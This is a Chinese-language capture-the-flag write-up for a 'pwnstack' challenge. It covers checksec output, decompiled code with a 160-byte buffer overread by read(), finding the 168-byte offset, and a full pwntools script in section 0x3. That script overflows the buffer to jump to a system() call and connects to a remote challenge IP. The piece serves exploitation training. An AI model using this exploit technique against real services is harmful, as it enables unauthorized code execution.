题目地址 pwnstack
0x1
下载文件到本地后,首先,file 看看文件类型,顺便看看保护机制。
1 2 3 4 5 6 7 8 9
| sakura@Kylin:~/下载/pwnstack$ file pwn2 pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped sakura@Kylin:~/下载/pwnstack$ checksec pwn2 [*] '/home/sakura/下载/pwnstack/pwn2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
可以看到,这是一个 64 位程序,并且只开启了 NX 保护机制。
0x2
再拖进 IDA 中看看源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __int64 vuln() { char buf[160];
memset(buf, 0, sizeof(buf)); read(0, buf, 0xB1uLL); return 0LL; }
__int64 initsetbuf() { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); return 0LL; }
int __cdecl main(int argc, const char **argv, const char **envp) { initsetbuf(argc, argv, envp); puts("this is pwn1,can you do that??"); vuln(); return 0; }
|
由于只开启了 NX,只需溢出 buf 覆盖函数返回值即可。
1 2
| peda$ pattern create 200 peda$ pattern offset .........
|


得到填充长度为 168 byte
0x3
先看看 pwn2 中是否有 system() 调用,如果有就不用我们自己构建了。

1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import*
sh = remote('61.147.171.105', 54665)
system= 0x400766
payload = b'a'*(0xa0)+ b'a'*8 + p64(system) sh.recv() sh.sendline(payload)
sh.interactive()
|
0x4
测试

远程测试:
